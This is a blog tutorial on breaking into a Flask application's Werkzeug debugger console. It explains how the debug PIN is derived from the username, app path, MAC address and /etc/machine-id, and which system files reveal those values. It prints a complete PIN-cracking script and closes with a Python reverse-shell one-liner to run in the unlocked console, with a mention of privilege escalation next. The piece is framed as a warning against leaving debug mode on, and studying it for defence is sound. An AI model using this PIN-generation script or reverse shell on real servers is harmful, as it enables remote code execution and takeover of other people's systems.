Hacking the Debugging Pin of a Flask Application
Hola, Hackers and Developers!
In this article, I am going to show you why leaving keeping Debug Mode on for a Flask Production Server is a horrible idea and how it can be hacked :)
If you’ve ever written a web application in Flask, you must probably know what a debugger mode is. The debugger can do a lot of things; it tells us exactly where the error is in our code, which will help us fix the problem after a bit of re-writing and a bit of Stack-Overflowing.
Typically, an error looks like this in your Application if you have debugger mode active.
This is not a problem, but the debugger also offers a console http://flask_app/console
for your flask application. So, the console is a place that allows some arbitrary python code execution in the browser itself.
I quote straight from the Flask documentation:
“Do not run the development server, or enable the built-in debugger, in a production environment. The debugger allows executing arbitrary Python code from the browser. It’s protected by a pin, but that should not be relied on for security.”
I have both good news and bad news. The good news is the console is protected by a pin, which is only viewable by the developer who runs the flask app.
We can see here that this is a sample Flask app of mine with Debug mode: on
Only I can see the Debugger Pin for now. If I open the console in my browser, I cannot access it, it is locked.
But the bad news is that this debugging pin can be hacked.[but has some conditions!]
Let me show you how.
If we pull the source code for the werkzeug server,
https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py
Inside debug/__init__.py
# This information only exists to make the cookie unique on the # computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__",type(app).__name__), getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id()
]
This shows us that the debugging pin is generated based on the following things:
- username of who started the flask app, [which can be figured out from the errors if we have debug mode on]
- modname of the Flask.app[it is always
flask.app
] getattr(app, '__name__', getattr (app .__ class__, '__name__'))
is ‘Flask’- the
getattr(mod, '__file__', None)
is the absolute pathapp.py
in the flask directory. [it can be figured out from the error logs as well]
These are the public values that can be found in the error logs displayed in your web application.
What about private values? Yes, the private values are unique to a particular server and can never be guessed/brute-forced by the hacker.
Let us discuss what these private values are specifically unique to a particular server.
uuid.getnode()
is the MAC address of the current computer,str (uuid.getnode ())
is the decimal expression of the mac address.get_machine_id()
is the value stored in/etc/machine-id
or/proc/sys/kernel/random_boot_id
Alright, how do we find these values?
Let us consider your Web Application vulnerable to some code execution vulnerability to extract these variables.[but not impactful enough to get a reverse shell?]. There are many ways to extract these, but we will not discuss them here.
So, let us find out these two pieces of information!
- To get the MAC address, find out the
/proc/net/arp
device id and find the mac address by typing the/sys/class/net/<device-id>/address. Example: /sys/class/net/eno1/address.
After getting the MAC address, the next thing would be to get the decimal value of this hex value. We can do this in python by adding a 0x
in front of the hex value and removing all the colons.
Example:
2. The next thing is getting the machine-id. We can simply do this by
Now, we have everything we need to crack the debugger pin :)
This is a sample script to crack the debugging pin once we have all the values!
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = [
'279275995014060',# the value from /sys/class/net/<device-id>/address
'd4e6cb65d59544f3331ea0425dc555a1'# value from /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = numprint(rv)
[This is not my script! Kudos to Daehee for the script :)]
After this runs fine, we get out the debugger pin just like this!
If you remember, this is what the debugger showed at the beginning.
How to get a reverse shell from here?
If I go to revshells.com and pick any python shell and execute it in the console, we can easily get a reverse shell from there.
import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",13337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")
Boom! We have successfully gotten a reverse shell to the machine!
Now we can do a lot of things from here!
We can escalate the privilege to get a root ;)
I will try to write next on how to get root access from here!
Until then, stay tuned.
References:
1.https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
2. https://abdilahrf.github.io/ctf/writeup-nahamcon-21-web-challs
If you liked this article, please hit me a follow! ❤
Adios!
Follow me on My Socials!
Twitter: https://twitter.com/akashp011
LinkedIn: https://linkedin.com/in/akashp011